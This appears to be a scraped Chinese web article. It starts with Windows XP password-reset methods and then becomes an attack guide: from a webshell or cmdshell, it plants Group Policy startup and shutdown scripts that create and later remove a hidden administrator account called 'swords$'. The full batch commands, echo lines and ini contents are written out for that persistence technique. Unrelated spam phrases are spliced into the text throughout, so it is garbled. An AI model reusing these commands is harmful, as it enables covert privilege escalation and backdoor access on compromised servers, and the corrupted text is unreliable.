方法一:启动计算机,在WindowsXP启动画面出现后马上按下F8键,选择“带命令行的安全模式”。
运行过程结束时,系统列出系统超级用户“administrator”和本地用户“xxx”的选择菜单,鼠标单击“administrator”,进入命令行模式,然后就可以用net user password命令来修改密码了。
比如账号为rhomb希望将密码设置为1234,那么可以输入:net user rhonb 1234/add这样就强制将“rhomb”用户的口令更改为“1234”。若想在此添加一新用户,用户名为li,口令为333,只要键入:net user li 333/add然后再把这个li用户加入管理员组:net localgroup administrators li/add这样,用户“li”就成为系统管理组“administrators”的用户了。最后重新启动计算机,选择正常模式下运行,就可以用更改后的口令“1234”登录了。
本文引用网址we/tech/software/os/200703/content_1141.shtml
方法二:重新启动计算机,在出现启动菜单时按F8键进入高级选项菜单,选择“安全模式”进入系统;打开“控制面板”,到“用户和密码”选项,看看是不是账户中包括Administrators?好,现在将Administrators账户删除,重新创建一个Administrators,或是更改原来的Administrators账户密码;重新启动计算机后,只有输入新的密码才能登录Windows XP。
方法三
(1)如果在安装Windows XP时,Administrator密码设置为空,在安装后被新建一管理员取代,大家可以在系统引导的时候按F8进入安全模式,这里的Administrator口令为空,可以直接进入,进入后对帐户和密码进行设置即可。 
(2)如果设置了Administrator口令,解密的方法是:
    用密码重设盘设新密码:进入安全模式登录到Windows XP后,按下“Ctrl + Alt + Del”组合键,
出现“Windows 安全”窗口,点击选项中“更改密码”按钮,出现更改密码窗口。这个窗口中,将当前用户的密码备份,点击左下角“备份”按钮,激活“忘记密码向导”,按照提示创建密码重设盘。
  如果在Windows XP的登录窗口输入了错误的密码,就会弹出“登录失败”窗口,如果你的确想不起来自己的密码是什么时,可点击“重设”按钮,启动密码重设向导,通过刚才所创建的密码重设盘,重新设定密码,登录Windows XP。

方法四
A开机启动Win XP,当运行到“正在启动Windows XP”的提示界面时,按“F8”键调出系统启动选择菜单,选择“带命令行安全模式”;
B当运行停止后,会列出“Administrator”和其它用户的选择菜单(本例的其他用户以xpuser01为例),选择“Administrator”后回车,进入命令行模式;
C键入命令““net user xpuser01 1234/ADD”这是更改该用户密码的命令,命令中的“1234”是更改后的新密码,如果键入的用户不存在(xpuser01),那么系统会自动添加这个用户。
D另外还可以使用“net 1oca1group administrator xpuser01 /ADD”命令把xpuser01这个用户升为超级用户,即可拥有所有权限。
E最后一步,就是重新启动计算机,在登录窗口中输入刚刚更改的新密码便可成功登陆。
现在我们利用启动脚本和批处理在获得shell的情况下提升权限第9: 启动脚本法!!首家批漏啊,大家可得看好了,我尽量废话少说,言简意赅的表述。
注:启动脚本是邀请用户登录之前运行的批文件,它的功能类似于Win9XDOS中的自动执行批处理文件autoexec.bat,由于脚本是在 windows龚俊已经结婚登陆之前运行,所以我们可以修改脚本内容来对系统进行设置,如启动一个后门程序,添加一个管理员帐号,修改管理员帐号等等,随你想吧.嘎嘎..
本文首先介绍通过webshell添加一个隐藏帐号(毕竟这才是大家最关心的:)),然后具体讲解一下出现问题后的解决方法.如何添加一个帐号?
.如果你可以直接写文件,如用海洋.
1 首先,我们用海洋编写了一个新建管理员的批处理文件swords1.bat,如下:
net user swords$Content$nbsp;eviloctal /add
net localgroup administrators swords$Content$nbsp;/add
这个批处理文件加了一个管理员名为swords$,密码为eviloctal的隐藏帐户,将文件swords1.bat保存到"C:\winnt\system32\GroupPolicy\Machine\Scripts\Startup".
(注意:c\winnt是系统目录,如果系统盘不是c盘,请相应修改为系统目录即可.在本机中查看,你也许不到GroupPolicy\ Machine\Scripts\Startup这个文件夹,可以选择工具/文件夹选项/查看/单击显示所有文件和文件夹.在海洋中用fso可以显示所有文件就不必多此一举了。)
2)接下来编写一个删除管理员的批处理文件swords2.bat,很简单,一句话即可,如下: net user swords$Content$nbsp;/del
这个批处理文件删除一个管理员名为swords$的隐藏帐户,将文件swords2.bat保存到"C:\winnt\system32\GroupPolicy\Machine\Scripts\Shutdown".
3)编写一个启动/关机脚本配置文件******s.ini
(注意:******s是默认的配置文件名,不能改名!)如下冒险岛龙神怎么加点:
[Startup]
0CmdLine=swords1.bat
0Parameters=
[Shutdown]
0CmdLine=swords2.bat
0Parameters=
将文件******s.ini保存到C:\winnt\system32\GroupPolicy\Machine\Scripts.
.如果你有一个cmdshell,echo的权限就可以了,这样添加:
(1)echo一个swords1.vbs启动时用的文件
echo on error resume next> C:\winnt\system32\GroupPolicy\Machine\Scripts\Startup \swords1.vbs
echo net user swords$Content$nbsp;eviloctal /add>> C:\winnt\system32\GroupPolicy\Machine\Scripts\Startup\swords1.vbs
echo net localgroup administrators swords$Content$nbsp;/add>> C:\winnt\system32\GroupPolicy\Machine\Scripts\Startup\swords1.vbs
注意:第一行一定要用’>’,这样才能删除原数据.
(2)echo一个swords2.vbs关闭时用的脚本文件
echo net user swords$Content$nbsp;/del> C:\winnt\system32\GroupPolicy\Machine\Scripts\Shutdown\swords2.vbs
(3)编写一个启动/关机脚本配置文件******s.ini
echo [Startup] > C:\winnt\system32\GroupPolicy\Machine\Scripts\******s.ini
echo 0CmdLine=swords1.vbs >>C:\winnt\system32\GroupPolicy\Machine\Scripts\******s.ini
echo 0Parameters= >>C:\winnt\system32\GroupPolicy\Machine\Scripts\******s.ini
echo [Shutdown] >>C:\winnt\system32\GroupPolicy\Machine\Scripts\******s.ini
echo 0CmdLine=swords2.vbs>>C:\winnt\system32\GroupPolicy\Machine\Scripts\******s.ini
echo 0Parameters=>>C:\winnt\system32\GroupPolicy\Machine\Scripts\******s.ini
将文件******s.ini保存到潘虹C:\winnt\system32\GroupPolicy\Machine\Scripts.
最后,等待服务器重新启动计算机或自己强制其启动(手段很多啊)。然后你就等着玩吧。
注意:本方法使用时,须服务器已经指派了计算机启动脚本,否则本方法可能不成功。
三.如果你是本机,或已经连接了对方的3389,但是只有普通用户权限,怎么办?
在启用计算机启动/关机脚本前,必须进行指派.指派计算机启动/关机脚本需要通过组策略MMC(管理控制台)管理单元进行:
1致富项目农村 开始/运行端午节古诗大全/MMC,打开微软控制台
2 ctrl+M键,打开添加/删除管理单元窗口,单击添加。
3 "添加独立管理单元"对话框内选择"组策略",点击"添加"按钮.
4 择缺省的"本地计算机"组策略对象/完成/确定/确定,关闭窗口。
5 在生成的本地计算机策略中打开计算机配置/Windows设置/脚本(启动/关闭)"节点,双击"启动""关机"项目设置计算机启动或关机时使用的脚本,单击浏览加如您要启动的脚本文件,确定。
6)设置完毕,保存后退出组策略MMC管理单元。等组策略刷新后,这些脚本就会在计算机启动和关机时起作用。
注意:你也可以直接打开gpedit.msc, 依次展开计算机配置/Windows设置/那英简历脚本(启动/关闭),然后添加一个启动脚本。然后依次展开计算机配置/管理模板/系统/登陆,将显示启动脚本的运行状态启用。重新启动之后看看吧,打开cmd,输入net user swords$显示详细的信息,噶噶,多了一个用户吧。